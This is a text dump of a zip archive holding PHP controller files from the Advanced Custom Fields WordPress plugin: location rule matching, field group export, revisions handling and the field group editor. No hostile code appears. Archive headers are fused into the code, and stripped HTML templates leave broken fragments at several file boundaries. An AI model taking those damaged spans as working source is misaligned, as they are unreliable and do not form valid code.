if($rule['operator'] == "==") { $match = ( $post_parent == 0 ); } elseif($rule['operator'] == "!=") { $match = ( $post_parent != 0 ); } } elseif( $rule['value'] == 'parent') { $children = get_pages(array( 'post_type' => $post->post_type, 'child_of' => $post->ID, )); if($rule['operator'] == "==") { $match = ( count($children) > 0 ); } elseif($rule['operator'] == "!=") { $match = ( count($children) == 0 ); } } elseif( $rule['value'] == 'child') { $post_parent = $post->post_parent; if( $options['page_parent'] ) { $post_parent = $options['page_parent']; } if($rule['operator'] == "==") { $match = ( $post_parent != 0 ); } elseif($rule['operator'] == "!=") { $match = ( $post_parent == 0 ); } } return $match; } /* * rule_match_page_parent * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_page_parent( $match, $rule, $options ) { // validation if( !$options['post_id'] ) { return false; } // vars $post = get_post( $options['post_id'] ); $post_parent = $post->post_parent; if( $options['page_parent'] ) { $post_parent = $options['page_parent']; } if($rule['operator'] == "==") { $match = ( $post_parent == $rule['value'] ); } elseif($rule['operator'] == "!=") { $match = ( $post_parent != $rule['value'] ); } return $match; } /* * rule_match_page_template * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_page_template( $match, $rule, $options ) { $page_template = $options['page_template']; if( ! $page_template ) { $page_template = get_post_meta( $options['post_id'], '_wp_page_template', true ); } if( ! $page_template ) { $post_type = $options['post_type']; if( !$post_type ) { $post_type = get_post_type( $options['post_id'] ); } if( $post_type == 'page' ) { $page_template = "default"; } } if($rule['operator'] == "==") { $match = ( $page_template === $rule['value'] ); } elseif($rule['operator'] == "!=") { $match = ( $page_template !== $rule['value'] ); } return $match; } /* * rule_match_post_category * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_post_category( $match, $rule, $options ) { // validate if( !$options['post_id'] ) { return false; } // post type if( !$options['post_type'] ) { $options['post_type'] = get_post_type( $options['post_id'] ); } // vars $taxonomies = get_object_taxonomies( $options['post_type'] ); $terms = $options['post_category']; // not AJAX if( !$options['ajax'] ) { // no terms? Load them from the post_id if( empty($terms) ) { $all_terms = get_the_terms( $options['post_id'], 'category' ); if($all_terms) { foreach($all_terms as $all_term) { $terms[] = $all_term->term_id; } } } // no terms at all? if( empty($terms) ) { // If no ters, this is a new post and should be treated as if it has the "Uncategorized" (1) category ticked if( is_array($taxonomies) && in_array('category', $taxonomies) ) { $terms[] = '1'; } } } if($rule['operator'] == "==") { $match = false; if($terms) { if( in_array($rule['value'], $terms) ) { $match = true; } } } elseif($rule['operator'] == "!=") { $match = true; if($terms) { if( in_array($rule['value'], $terms) ) { $match = false; } } } return $match; } /* * rule_match_user_type * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_user_type( $match, $rule, $options ) { $user = wp_get_current_user(); if( $rule['operator'] == "==" ) { if( $rule['value'] == 'super_admin' ) { $match = is_super_admin( $user->ID ); } else { $match = in_array( $rule['value'], $user->roles ); } } elseif( $rule['operator'] == "!=" ) { if( $rule['value'] == 'super_admin' ) { $match = !is_super_admin( $user->ID ); } else { $match = ( ! in_array( $rule['value'], $user->roles ) ); } } return $match; } /* * rule_match_user_type * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_options_page( $match, $rule, $options ) { global $plugin_page; // NOTE // comment out below code as it was interfering with custom slugs // older location rules may be "options-pagename" /* if( substr($rule['value'], 0, 8) == 'options-' ) { $rule['value'] = 'acf-' . $rule['value']; } */ // older location ruels may be "Pagename" /* if( substr($rule['value'], 0, 11) != 'acf-options' ) { $rule['value'] = 'acf-options-' . sanitize_title( $rule['value'] ); // value may now be wrong (acf-options-options) if( $rule['value'] == 'acf-options-options' ) { $rule['value'] = 'acf-options'; } } */ if($rule['operator'] == "==") { $match = ( $plugin_page === $rule['value'] ); } elseif($rule['operator'] == "!=") { $match = ( $plugin_page !== $rule['value'] ); } return $match; } /* * rule_match_post_format * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_post_format( $match, $rule, $options ) { // vars $post_format = $options['post_format']; if( !$post_format ) { // validate if( !$options['post_id'] ) { return false; } // post type if( !$options['post_type'] ) { $options['post_type'] = get_post_type( $options['post_id'] ); } // does post_type support 'post-format' if( post_type_supports( $options['post_type'], 'post-formats' ) ) { $post_format = get_post_format( $options['post_id'] ); if( $post_format === false ) { $post_format = 'standard'; } } } if($rule['operator'] == "==") { $match = ( $post_format === $rule['value'] ); } elseif($rule['operator'] == "!=") { $match = ( $post_format !== $rule['value'] ); } return $match; } /* * rule_match_post_status * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_post_status( $match, $rule, $options ) { // validate if( !$options['post_id'] ) { return false; } // vars $post_status = get_post_status( $options['post_id'] ); // auto-draft = draft if( $post_status == 'auto-draft' ) { $post_status = 'draft'; } // match if($rule['operator'] == "==") { $match = ( $post_status === $rule['value'] ); } elseif($rule['operator'] == "!=") { $match = ( $post_status !== $rule['value'] ); } // return return $match; } /* * rule_match_taxonomy * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_taxonomy( $match, $rule, $options ) { // validate if( !$options['post_id'] ) { return false; } // post type if( !$options['post_type'] ) { $options['post_type'] = get_post_type( $options['post_id'] ); } // vars $taxonomies = get_object_taxonomies( $options['post_type'] ); $terms = $options['taxonomy']; // not AJAX if( !$options['ajax'] ) { // no terms? Load them from the post_id if( empty($terms) ) { if( is_array($taxonomies) ) { foreach( $taxonomies as $tax ) { $all_terms = get_the_terms( $options['post_id'], $tax ); if($all_terms) { foreach($all_terms as $all_term) { $terms[] = $all_term->term_id; } } } } } // no terms at all? if( empty($terms) ) { // If no ters, this is a new post and should be treated as if it has the "Uncategorized" (1) category ticked if( is_array($taxonomies) && in_array('category', $taxonomies) ) { $terms[] = '1'; } } } if($rule['operator'] == "==") { $match = false; if($terms) { if( in_array($rule['value'], $terms) ) { $match = true; } } } elseif($rule['operator'] == "!=") { $match = true; if($terms) { if( in_array($rule['value'], $terms) ) { $match = false; } } } return $match; } /* * rule_match_ef_taxonomy * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_ef_taxonomy( $match, $rule, $options ) { $ef_taxonomy = $options['ef_taxonomy']; if( $ef_taxonomy ) { if($rule['operator'] == "==") { $match = ( $ef_taxonomy == $rule['value'] ); // override for "all" if( $rule['value'] == "all" ) { $match = true; } } elseif($rule['operator'] == "!=") { $match = ( $ef_taxonomy != $rule['value'] ); // override for "all" if( $rule['value'] == "all" ) { $match = false; } } } return $match; } /* * rule_match_ef_user * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_ef_user( $match, $rule, $options ) { $ef_user = $options['ef_user']; if( $ef_user ) { if($rule['operator'] == "==") { $match = ( user_can($ef_user, $rule['value']) ); // override for "all" if( $rule['value'] === "all" ) { $match = true; } } elseif($rule['operator'] == "!=") { $match = ( !user_can($ef_user, $rule['value']) ); // override for "all" if( $rule['value'] === "all" ) { $match = false; } } } return $match; } } new acf_location(); ?>PK;hZͧ,,controllers/export.phpnuW+Aaction = ''; // actions add_action('admin_menu', array($this,'admin_menu'), 11, 0); // filters add_filter('acf/export/clean_fields', array($this,'clean_fields'), 10, 1); } /* * admin_menu * * @description: * @created: 2/08/12 */ function admin_menu() { // add page $page = add_submenu_page('edit.php?post_type=acf', __('Export','acf'), __('Export','acf'), 'manage_options', 'acf-export', array($this,'html')); // actions add_action('load-' . $page, array($this,'load')); add_action('admin_print_scripts-' . $page, array($this, 'admin_print_scripts')); add_action('admin_print_styles-' . $page, array($this, 'admin_print_styles')); add_action('admin_head-' . $page, array($this,'admin_head')); } /* * load * * @description: * @since 3.5.2 * @created: 16/11/12 * @thanks: Kevin Biloski and Charlie Eriksen via Secunia SVCRP */ function load() { // vars $path = apply_filters('acf/get_info', 'path'); // verify nonce if( isset($_POST['nonce']) && wp_verify_nonce($_POST['nonce'], 'export') ) { if( isset($_POST['export_to_xml']) ) { $this->action = 'export_to_xml'; } elseif( isset($_POST['export_to_php']) ) { $this->action = 'export_to_php'; } } // include export action if( $this->action == 'export_to_xml' ) { include_once($path . 'core/actions/export.php'); die; } } /* * admin_print_scripts * * @description: * @since 3.1.8 * @created: 23/06/12 */ function admin_print_scripts() { } /* * admin_print_styles * * @description: * @since 3.1.8 * @created: 23/06/12 */ function admin_print_styles() { wp_enqueue_style(array( 'wp-pointer', 'acf-global', 'acf', )); } /* * admin_head * * @description: * @since 3.1.8 * @created: 23/06/12 */ function admin_head() { } /* * html * * @description: * @since 3.1.8 * @created: 23/06/12 */ function html() { ?>

    action == "export_to_php" ) { $this->html_php(); } else { $this->html_index(); } ?>
    -1, 'post_type' => 'acf', 'orderby' => 'menu_order title', 'order' => 'asc', )); // blank array to hold acfs $choices = array(); if($acfs) { foreach($acfs as $acf) { // find title. Could use get_the_title, but that uses get_post(), so I think this uses less Memory $title = apply_filters( 'the_title', $acf->post_title, $acf->ID ); $choices[$acf->ID] = $title; } } ?>

    'select', 'name' => 'acf_posts', 'value' => '', 'choices' => $choices, 'multiple' => 1, )); ?>
    • " />
    • " />


    will appear in the list of editable field groups. This is useful for migrating fields groups between Wp websites.",'acf'); ?>


    will not appear in the list of editable field groups. This is useful for including fields in themes.",'acf'); ?>


    will not appear in the list of editable field groups. This is useful for including fields in themes.",'acf'); ?>


    include_once('advanced-custom-fields/acf.php');
    

    before the include_once code:",'acf'); ?>

    define( 'ACF_LITE', true );
    


    «

    $field ) { // unset unneccessary bits unset( $field['id'], $field['class'], $field['order_no'], $field['field_group'], $field['_name'] ); // instructions if( !$field['instructions'] ) { unset( $field['instructions'] ); } // Required if( !$field['required'] ) { unset( $field['required'] ); } // conditional logic if( !$field['conditional_logic']['status'] ) { unset( $field['conditional_logic'] ); } // children if( isset($field['sub_fields']) ) { $field['sub_fields'] = apply_filters('acf/export/clean_fields', $field['sub_fields']); } elseif( isset($field['layouts']) ) { foreach( $field['layouts'] as $l => $layout ) { $field['layouts'][ $l ]['sub_fields'] = apply_filters('acf/export/clean_fields', $layout['sub_fields']); } } // override field $fields[ $i ] = $field; } } return $fields; } } new acf_export(); ?>PK;hZfbtN N controllers/input.phpnuW+AID ); } // l10n $l10n = apply_filters( 'acf/input/admin_l10n', array( 'core' => array( 'expand_details' => __("Expand Details",'acf'), 'collapse_details' => __("Collapse Details",'acf') ), 'validation' => array( 'error' => __("Validation Failed. One or more fields below are required.",'acf') ) )); // options $o = array( 'post_id' => $post_id, 'nonce' => wp_create_nonce( 'acf_nonce' ), 'admin_url' => admin_url(), 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'wp_version' => $wp_version ); // toolbars $t = array(); if( is_array($toolbars) ){ foreach( $toolbars as $label => $rows ){ $label = sanitize_title( $label ); $label = str_replace('-', '_', $label); $t[ $label ] = array(); if( is_array($rows) ){ foreach( $rows as $k => $v ){ $t[ $label ][ 'theme_advanced_buttons' . $k ] = implode(',', $v); }} }} ?> PK;hZ+44controllers/third_party.phpnuW+A false, 'show_ui' => true ); } // return return $args; } /* * admin_head_tabify * * @description: * @since 3.5.1 * @created: 9/10/12 */ function admin_head_tabify() { // remove ACF from the tabs add_filter('tabify_posttypes', array($this, 'tabify_posttypes')); // add acf metaboxes to list add_action('tabify_add_meta_boxes' , array($this,'tabify_add_meta_boxes')); } /* * tabify_posttypes * * @description: * @since 3.5.1 * @created: 9/10/12 */ function tabify_posttypes( $posttypes ) { if( isset($posttypes['acf']) ) { unset( $posttypes['acf'] ); } return $posttypes; } /* * tabify_add_meta_boxes * * @description: * @since 3.5.1 * @created: 9/10/12 */ function tabify_add_meta_boxes( $post_type ) { // get acf's $acfs = apply_filters('acf/get_field_groups', array()); if($acfs) { foreach($acfs as $acf) { // add meta box add_meta_box( 'acf_' . $acf['id'], $acf['title'], array($this, 'dummy'), $post_type ); } // foreach($acfs as $acf) } // if($acfs) } function dummy(){ /* Do Nothing */ } /* * dp_duplicate_page * * @description: * @since 3.5.1 * @created: 9/10/12 */ function dp_duplicate_page( $new_post_id, $old_post_object ) { // only for acf if( $old_post_object->post_type != "acf" ) { return; } // update keys $metas = get_post_custom( $new_post_id ); if( $metas ) { foreach( $metas as $field_key => $field ) { if( strpos($field_key, 'field_') !== false ) { $field = $field[0]; $field = maybe_unserialize( $field ); $field = maybe_unserialize( $field ); // just to be sure! // delete old field delete_post_meta($new_post_id, $field_key); // set new keys (recursive for sub fields) $this->create_new_field_keys( $field ); // save it! update_post_meta($new_post_id, $field['key'], $field); } // if( strpos($field_key, 'field_') !== false ) } // foreach( $metas as $field_key => $field ) } // if( $metas ) } /* * create_new_field_keys * * @description: * @since 3.5.1 * @created: 9/10/12 */ function create_new_field_keys( &$field ) { // update key $field['key'] = 'field_' . uniqid(); if( isset($field['sub_fields']) && is_array($field['sub_fields']) ) { foreach( $field['sub_fields'] as $f ) { $this->create_new_field_keys( $f ); } } elseif( isset($field['layouts']) && is_array($field['layouts']) ) { foreach( $field['layouts'] as $layout ) { if( isset($layout['sub_fields']) && is_array($layout['sub_fields']) ) { foreach( $layout['sub_fields'] as $f ) { $this->create_new_field_keys( $f ); } } } } } } new acf_third_party(); ?>PK;hZv2 controllers/addons.phpnuW+A __("Repeater Field",'acf'), 'description' => __("Create infinite rows of repeatable data with this versatile interface!",'acf'), 'thumbnail' => $dir . 'images/add-ons/repeater-field-thumb.jpg', 'active' => class_exists('acf_field_repeater'), 'url' => 'http://www.advancedcustomfields.com/add-ons/repeater-field/' ); $premium[] = array( 'title' => __("Gallery Field",'acf'), 'description' => __("Create image galleries in a simple and intuitive interface!",'acf'), 'thumbnail' => $dir . 'images/add-ons/gallery-field-thumb.jpg', 'active' => class_exists('acf_field_gallery'), 'url' => 'http://www.advancedcustomfields.com/add-ons/gallery-field/' ); $premium[] = array( 'title' => __("Options Page",'acf'), 'description' => __("Create global data to use throughout your website!",'acf'), 'thumbnail' => $dir . 'images/add-ons/options-page-thumb.jpg', 'active' => class_exists('acf_options_page_plugin'), 'url' => 'http://www.advancedcustomfields.com/add-ons/options-page/' ); $premium[] = array( 'title' => __("Flexible Content Field",'acf'), 'description' => __("Create unique designs with a flexible content layout manager!",'acf'), 'thumbnail' => $dir . 'images/add-ons/flexible-content-field-thumb.jpg', 'active' => class_exists('acf_field_flexible_content'), 'url' => 'http://www.advancedcustomfields.com/add-ons/flexible-content-field/' ); $free = array(); $free[] = array( 'title' => __("Gravity Forms Field",'acf'), 'description' => __("Creates a select field populated with Gravity Forms!",'acf'), 'thumbnail' => $dir . 'images/add-ons/gravity-forms-field-thumb.jpg', 'active' => class_exists('gravity_forms_field'), 'url' => 'https://github.com/stormuk/Gravity-Forms-ACF-Field/' ); $free[] = array( 'title' => __("Date & Time Picker",'acf'), 'description' => __("jQuery date & time picker",'acf'), 'thumbnail' => $dir . 'images/add-ons/date-time-field-thumb.jpg', 'active' => class_exists('acf_field_date_time_picker'), 'url' => 'http://wordpress.org/extend/plugins/acf-field-date-time-picker/' ); $free[] = array( 'title' => __("Google Map Extended",'acf'), 'description' => __("Find addresses and coordinates of a desired location",'acf'), 'thumbnail' => $dir . 'images/add-ons/google-maps-field-thumb.jpg', 'active' => class_exists('acf_field_google_map_extended'), 'url' => 'https://wordpress.org/plugins/advanced-custom-fields-google-map-extended/' ); $free[] = array( 'title' => __("Contact Form 7 Field",'acf'), 'description' => __("Assign one or more contact form 7 forms to a post",'acf'), 'thumbnail' => $dir . 'images/add-ons/cf7-field-thumb.jpg', 'active' => class_exists('acf_field_cf7'), 'url' => 'https://github.com/taylormsj/acf-cf7-field/' ); ?>


    */ ?>
    PK;hZ= controllers/revisions.phpnuW+AID) ) { $post_id = $post->ID; } else { return $return; } // get field objects $fields = get_field_objects( $post_id, array('format_value' => false ) ); if( $fields ) { foreach( $fields as $field ) { // dud field? if( !$field || !isset($field['name']) || !$field['name'] ) { continue; } // Add field key / label $return[ $field['name'] ] = $field['label']; // load value add_filter('_wp_post_revision_field_' . $field['name'], array($this, 'wp_post_revision_field'), 10, 4); } } return $return; } /* * wp_post_revision_field * * This filter will load the value for the given field and return it for rendering * * @type filter * @date 11/08/13 * * @param $value (mixed) should be false as it has not yet been loaded * @param $field_name (string) The name of the field * @param $post (mixed) Holds the $post object to load from - in WP 3.5, this is not passed! * @param $direction (string) to / from - not used * @return $value (string) */ function wp_post_revision_field( $value, $field_name, $post = null, $direction = false) { // vars $post_id = 0; // determine $post_id if( isset($post->ID) ) { // WP 3.6 $post_id = $post->ID; } elseif( isset($_GET['revision']) ) { // WP 3.5 $post_id = (int) $_GET['revision']; } elseif( strpos($value, 'revision_id=') !== false ) { // WP 3.5 (left vs right) $post_id = (int) str_replace('revision_id=', '', $value); } // load field $field = get_field_object($field_name, $post_id, array('format_value' => false )); $value = $field['value']; // default formatting if( is_array($value) ) { $value = implode(', ', $value); } // format if( $value ) { // image? if( $field['type'] == 'image' || $field['type'] == 'file' ) { $url = wp_get_attachment_url($value); $value = $value . ' (' . $url . ')'; } } // return return $value; } /* * wp_restore_post_revision * * This action will copy and paste the metadata from a revision to the post * * @type action * @date 11/08/13 * * @param $parent_id (int) the destination post * @return $revision_id (int) the source post */ function wp_restore_post_revision( $post_id, $revision_id ) { // global global $wpdb; // vars $fields = array(); // get field from postmeta $rows = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE post_id=%d", $revision_id ), ARRAY_A); // populate $fields if( $rows ) { foreach( $rows as $row ) { // meta_key must start with '_' if( substr($row['meta_key'], 0, 1) !== '_' ) { continue; } // meta_value must start with 'field_' if( substr($row['meta_value'], 0, 6) !== 'field_' ) { continue; } // this is an ACF field, append to $fields $fields[] = substr($row['meta_key'], 1); } } // save data if( $rows ) { foreach( $rows as $row ) { if( in_array($row['meta_key'], $fields) ) { update_post_meta( $post_id, $row['meta_key'], $row['meta_value'] ); } } } } } new acf_revisions(); ?>PK;hZ'/A/Acontrollers/field_groups.phpnuW+Avalidate_page() ) { return; } // actions add_action('admin_print_scripts', array($this,'admin_print_scripts')); add_action('admin_print_styles', array($this,'admin_print_styles')); add_action('admin_footer', array($this,'admin_footer')); // columns add_filter( 'manage_edit-acf_columns', array($this,'acf_edit_columns'), 10, 1 ); add_action( 'manage_acf_posts_custom_column' , array($this,'acf_columns_display'), 10, 2 ); } /* * validate_page * * @description: returns true | false. Used to stop a function from continuing * @since 3.2.6 * @created: 23/06/12 */ function validate_page() { // global global $pagenow; // vars $return = false; // validate page if( in_array( $pagenow, array('edit.php') ) ) { // validate post type if( isset($_GET['post_type']) && $_GET['post_type'] == 'acf' ) { $return = true; } if( isset($_GET['page']) ) { $return = false; } } // return return $return; } /* * admin_print_scripts * * @description: * @since 3.1.8 * @created: 23/06/12 */ function admin_print_scripts() { wp_enqueue_script(array( 'jquery', 'thickbox', )); } /* * admin_print_styles * * @description: * @since 3.1.8 * @created: 23/06/12 */ function admin_print_styles() { wp_enqueue_style(array( 'thickbox', 'acf-global', 'acf', )); } /* * acf_edit_columns * * @description: * @created: 2/08/12 */ function acf_edit_columns( $columns ) { $columns = array( 'cb' => '', 'title' => __("Title"), 'fields' => __("Fields", 'acf') ); return $columns; } /* * acf_columns_display * * @description: * @created: 2/08/12 */ function acf_columns_display( $column, $post_id ) { // vars switch ($column) { case "fields": // vars $count =0; $keys = get_post_custom_keys( $post_id ); if($keys) { foreach($keys as $key) { if(strpos($key, 'field_') !== false) { $count++; } } } echo $count; break; } } /* * admin_footer * * @description: * @since 3.1.8 * @created: 23/06/12 */ function admin_footer() { // vars $version = apply_filters('acf/get_info', 'version'); $dir = apply_filters('acf/get_info', 'dir'); $path = apply_filters('acf/get_info', 'path'); $show_tab = isset($_GET['info']); $tab = isset($_GET['info']) ? $_GET['info'] : 'changelog'; ?> PK;hZfIIcontrollers/field_group.phpnuW+A -1, 'post_type' => 'acf', 'orderby' => 'menu_order title', 'order' => 'asc', 'suppress_filters' => false, )); // populate acfs if( $posts ){ foreach( $posts as $post ){ $array[] = array( 'id' => $post->ID, 'title' => $post->post_title, 'menu_order' => $post->menu_order, ); }} // set cache wp_cache_set( 'field_groups', $array, 'acf' ); return $array; } /* * get_fields * * @description: returns all fields for a field group * @since: 3.6 * @created: 26/01/13 */ function get_fields( $fields, $post_id ) { // global global $wpdb; // loaded by PHP already? if( !empty($fields) ) { return $fields; } // get field from postmeta $rows = $wpdb->get_results( $wpdb->prepare("SELECT meta_key FROM $wpdb->postmeta WHERE post_id = %d AND meta_key LIKE %s", $post_id, 'field_%'), ARRAY_A); if( $rows ) { foreach( $rows as $row ) { $field = apply_filters('acf/load_field', false, $row['meta_key'], $post_id ); $fields[ $field['order_no'] ] = $field; } // sort ksort( $fields ); } // return return $fields; } /* * get_location * * @description: * @since: 3.6 * @created: 26/01/13 */ function get_location( $location, $post_id ) { // loaded by PHP already? if( !empty($location) ) { return $location; } // vars $groups = array(); $group_no = 0; // get all rules $rules = get_post_meta($post_id, 'rule', false); if( is_array($rules) ) { foreach( $rules as $rule ) { // if field group was duplicated, it may now be a serialized string! $rule = maybe_unserialize($rule); // does this rule have a group? // + groups were added in 4.0.4 if( !isset($rule['group_no']) ) { $rule['group_no'] = $group_no; // sperate groups? if( get_post_meta($post_id, 'allorany', true) == 'any' ) { $group_no++; } } // add to group $groups[ $rule['group_no'] ][ $rule['order_no'] ] = $rule; // sort rules ksort( $groups[ $rule['group_no'] ] ); } // sort groups ksort( $groups ); } // return fields return $groups; } /* * get_options * * @description: * @since: 3.6 * @created: 26/01/13 */ function get_options( $options, $post_id ) { // loaded by PHP already? if( !empty($options) ) { return $options; } // defaults $options = array( 'position' => 'normal', 'layout' => 'no_box', 'hide_on_screen' => array(), ); // vars $position = get_post_meta($post_id, 'position', true); if( $position ) { $options['position'] = $position; } $layout = get_post_meta($post_id, 'layout', true); if( $layout ) { $options['layout'] = $layout; } $hide_on_screen = get_post_meta($post_id, 'hide_on_screen', true); if( $hide_on_screen ) { $hide_on_screen = maybe_unserialize($hide_on_screen); $options['hide_on_screen'] = $hide_on_screen; } // return return $options; } /* * validate_page * * @description: * @since 3.2.6 * @created: 23/06/12 */ function validate_page() { // global global $pagenow, $typenow; // vars $return = false; // validate page if( in_array( $pagenow, array('post.php', 'post-new.php') ) ) { // validate post type if( $typenow == "acf" ) { $return = true; } } // return return $return; } /* * admin_enqueue_scripts * * @description: run after post query but before any admin script / head actions. A good place to register all actions. * @since: 3.6 * @created: 26/01/13 */ function admin_enqueue_scripts() { // validate page if( ! $this->validate_page() ){ return; } // settings $this->settings = apply_filters('acf/get_info', 'all'); // no autosave wp_dequeue_script( 'autosave' ); // custom scripts wp_enqueue_script(array( 'acf-field-group', )); // custom styles wp_enqueue_style(array( 'acf-global', 'acf-field-group', )); // actions do_action('acf/field_group/admin_enqueue_scripts'); add_action('admin_head', array($this,'admin_head')); } /* * admin_head * * @description: * @since 3.1.8 * @created: 23/06/12 */ function admin_head() { // global global $wp_version, $post; // l10n $l10n = array( 'move_to_trash' => __("Move to trash. Are you sure?",'acf'), 'checked' => __("checked",'acf'), 'no_fields' => __("No toggle fields available",'acf'), 'title' => __("Field group title is required",'acf'), 'copy' => __("copy",'acf'), 'or' => __("or",'acf'), 'fields' => __("Fields",'acf'), 'parent_fields' => __("Parent fields",'acf'), 'sibling_fields' => __("Sibling fields",'acf'), 'hide_show_all' => __("Hide / Show All",'acf') ); ?> settings['path'] . 'core/views/meta_box_fields.php' ); } /* * html_location * * @description: * @since 1.0.0 * @created: 23/06/12 */ function html_location() { include( $this->settings['path'] . 'core/views/meta_box_location.php' ); } /* * html_options * * @description: * @since 1.0.0 * @created: 23/06/12 */ function html_options() { include( $this->settings['path'] . 'core/views/meta_box_options.php' ); } /* * screen_settings * * @description: * @since: 3.6 * @created: 26/01/13 */ function screen_settings( $current ) { $current .= '
    ' . __("Fields",'acf') . '
    '; $current .= '
    ' . __("Show Field Key:",'acf'); $current .= ''; $current .= ''; $current .= '
    '; return $current; } /* * ajax_render_options * * @description: creates the HTML for a field's options (field group edit page) * @since 3.1.6 * @created: 23/06/12 */ function ajax_render_options() { // vars $options = array( 'field_key' => '', 'field_type' => '', 'post_id' => 0, 'nonce' => '' ); // load post options $options = array_merge($options, $_POST); // verify nonce if( ! wp_verify_nonce($options['nonce'], 'acf_nonce') ) { die(0); } // required if( ! $options['field_type'] ) { die(0); } // find key (not actual field key, more the html attr name) $options['field_key'] = str_replace("fields[", "", $options['field_key']); $options['field_key'] = str_replace("][type]", "", $options['field_key']) ; // render options $field = array( 'type' => $options['field_type'], 'name' => $options['field_key'] ); do_action('acf/create_field_options', $field ); die(); } /* * ajax_render_location * * @description: creates the HTML for the field group location metabox. Called from both Ajax and PHP * @since 3.1.6 * @created: 23/06/12 */ function ajax_render_location( $options = array() ) { // defaults $defaults = array( 'group_id' => 0, 'rule_id' => 0, 'value' => null, 'param' => null, ); $is_ajax = false; if( isset($_POST['nonce']) && wp_verify_nonce($_POST['nonce'], 'acf_nonce') ) { $is_ajax = true; } // Is AJAX call? if( $is_ajax ) { $options = array_merge($defaults, $_POST); } else { $options = array_merge($defaults, $options); } // vars $choices = array(); // some case's have the same outcome if($options['param'] == "page_parent") { $options['param'] = "page"; } switch($options['param']) { case "post_type": // all post types except attachment $choices = apply_filters('acf/get_post_types', array(), array('attachment')); break; case "page": $post_type = 'page'; $posts = get_posts(array( 'posts_per_page' => -1, 'post_type' => $post_type, 'orderby' => 'menu_order title', 'order' => 'ASC', 'post_status' => 'any', 'suppress_filters' => false, 'update_post_meta_cache' => false, )); if( $posts ) { // sort into hierachial order! if( is_post_type_hierarchical( $post_type ) ) { $posts = get_page_children( 0, $posts ); } foreach( $posts as $page ) { $title = ''; $ancestors = get_ancestors($page->ID, 'page'); if($ancestors) { foreach($ancestors as $a) { $title .= '- '; } } $title .= apply_filters( 'the_title', $page->post_title, $page->ID ); // status if($page->post_status != "publish") { $title .= " ($page->post_status)"; } $choices[ $page->ID ] = $title; } // foreach($pages as $page) } break; case "page_type" : $choices = array( 'front_page' => __("Front Page",'acf'), 'posts_page' => __("Posts Page",'acf'), 'top_level' => __("Top Level Page (parent of 0)",'acf'), 'parent' => __("Parent Page (has children)",'acf'), 'child' => __("Child Page (has parent)",'acf'), ); break; case "page_template" : $choices = array( 'default' => __("Default Template",'acf'), ); $templates = get_page_templates(); foreach($templates as $k => $v) { $choices[$v] = $k; } break; case "post" : $post_types = get_post_types(); unset( $post_types['page'], $post_types['attachment'], $post_types['revision'] , $post_types['nav_menu_item'], $post_types['acf'] ); if( $post_types ) { foreach( $post_types as $post_type ) { $posts = get_posts(array( 'numberposts' => '-1', 'post_type' => $post_type, 'post_status' => array('publish', 'private', 'draft', 'inherit', 'future'), 'suppress_filters' => false, )); if( $posts) { $choices[$post_type] = array(); foreach($posts as $post) { $title = apply_filters( 'the_title', $post->post_title, $post->ID ); // status if($post->post_status != "publish") { $title .= " ($post->post_status)"; } $choices[$post_type][$post->ID] = $title; } // foreach($posts as $post) } // if( $posts ) } // foreach( $post_types as $post_type ) } // if( $post_types ) break; case "post_category" : $terms = get_terms( 'category', array( 'hide_empty' => false ) ); if( !empty($terms) ) { foreach( $terms as $term ) { $choices[ $term->term_id ] = $term->name; } } break; case "post_format" : $choices = get_post_format_strings(); break; case "post_status" : $choices = array( 'publish' => __( 'Published', 'acf'), 'pending' => __( 'Pending Review', 'acf'), 'draft' => __( 'Draft', 'acf'), 'future' => __( 'Future', 'acf'), 'private' => __( 'Private', 'acf'), 'inherit' => __( 'Revision', 'acf'), 'trash' => __( 'Trash', 'acf'), ); break; case "user_type" : global $wp_roles; $choices = $wp_roles->get_names(); if( is_multisite() ) { $choices['super_admin'] = __('Super Admin', 'acf'); } break; case "taxonomy" : $choices = array(); $simple_value = true; $choices = apply_filters('acf/get_taxonomies_for_select', $choices, $simple_value); break; case "ef_taxonomy" : $choices = array('all' => __('All', 'acf')); $taxonomies = get_taxonomies( array('public' => true), 'objects' ); foreach($taxonomies as $taxonomy) { $choices[ $taxonomy->name ] = $taxonomy->labels->name; } // unset post_format (why is this a public taxonomy?) if( isset($choices['post_format']) ) { unset( $choices['post_format']) ; } break; case "ef_user" : global $wp_roles; $choices = array_merge( array('all' => __('All', 'acf')), $wp_roles->get_names() ); break; case "ef_media" : $choices = array('all' => __('All', 'acf')); break; } // allow custom location rules $choices = apply_filters( 'acf/location/rule_values/' . $options['param'], $choices ); // create field do_action('acf/create_field', array( 'type' => 'select', 'name' => 'location[' . $options['group_id'] . '][' . $options['rule_id'] . '][value]', 'value' => $options['value'], 'choices' => $choices, )); // ajax? if( $is_ajax ) { die(); } } /* * name_save_pre * * @description: intercepts the acf post obejct and adds an "acf_" to the start of * it's name to stop conflicts between acf's and page's urls * @since 1.0.0 * @created: 23/06/12 */ function name_save_pre($name) { // validate if( !isset($_POST['post_type']) || $_POST['post_type'] != 'acf' ) { return $name; } // need a title if( !$_POST['post_title'] ) { $_POST['post_title'] = 'Unnamed Field Group'; } $name = 'acf_' . sanitize_title($_POST['post_title']); return $name; } /* * save_post * * @description: Saves the field / location / option data for a field group * @since 1.0.0 * @created: 23/06/12 */ function save_post($post_id) { // do not save if this is an auto save routine if( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) { return $post_id; } // verify nonce if( !isset($_POST['acf_nonce']) || !wp_verify_nonce($_POST['acf_nonce'], 'field_group') ) { return $post_id; } // only save once! WordPress save's a revision as well. if( wp_is_post_revision($post_id) ) { return $post_id; } /* * save fields */ // vars $dont_delete = array(); if( isset($_POST['fields']) && is_array($_POST['fields']) ) { $i = -1; // remove clone field unset( $_POST['fields']['field_clone'] ); // loop through and save fields foreach( $_POST['fields'] as $key => $field ) { $i++; // order + key $field['order_no'] = $i; $field['key'] = $key; // save do_action('acf/update_field', $field, $post_id ); // add to dont delete array 